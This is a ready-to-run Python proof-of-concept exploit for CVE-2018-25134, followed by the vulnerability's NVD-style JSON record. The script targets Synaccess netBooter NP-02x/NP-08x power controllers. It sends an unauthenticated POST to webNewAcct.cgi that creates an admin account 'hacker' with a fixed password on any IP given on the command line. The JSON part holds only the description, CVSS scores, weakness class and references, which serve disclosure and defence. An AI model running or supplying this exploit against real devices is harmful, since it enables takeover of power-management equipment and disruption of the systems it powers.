CVE-2018-25134

# CVE-2018-25134 PoC - Synaccess netBooter Authentication Bypass # Target: Synaccess netBooter NP-02x/NP-08x (firmware 6.8) # Vulnerability: Missing authentication check in webNewAcct.cgi import requests import sys def exploit(target_ip, target_port=80): """ Exploit for CVE-2018-25134 Creates a new admin account without authentication """ # Target URL for account creation url = f"http://{target_ip}:{target_port}/webNewAcct.cgi" # Malicious POST data to create admin account # The script does not verify authentication, allowing account creation payload = { "username": "hacker", "password": "P@ssw0rd123", "privilege": "1", # Admin privilege level "Submit": "Create+Account" } print(f"[*] Targeting: {target_ip}:{target_port}") print(f"[*] Exploiting CVE-2018-25134...") try: # Send crafted POST request without authentication response = requests.post(url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully!") print(f"[+] Created admin account: hacker / P@ssw0rd123") print(f"[*] Login at: http://{target_ip}:{target_port}/") return True else: print(f"[-] Unexpected response: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)

{"cve": {"id": "CVE-2018-25134", "sourceIdentifier": "[email protected]", "published": "2025-12-24T20:15:47.200", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Synaccess netBooter NP-02x/NP-08x 6.8 contains an authentication bypass vulnerability in the webNewAcct.cgi script that allows unauthenticated attackers to create admin user accounts. Attackers can exploit the missing control check by sending crafted POST requests to create administrative accounts and gain unauthorized control over power supply management."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/45920", "source": "[email protected]"}, {"url": "https://www.synaccess-net.com", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5500.php", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/45920", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5500.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}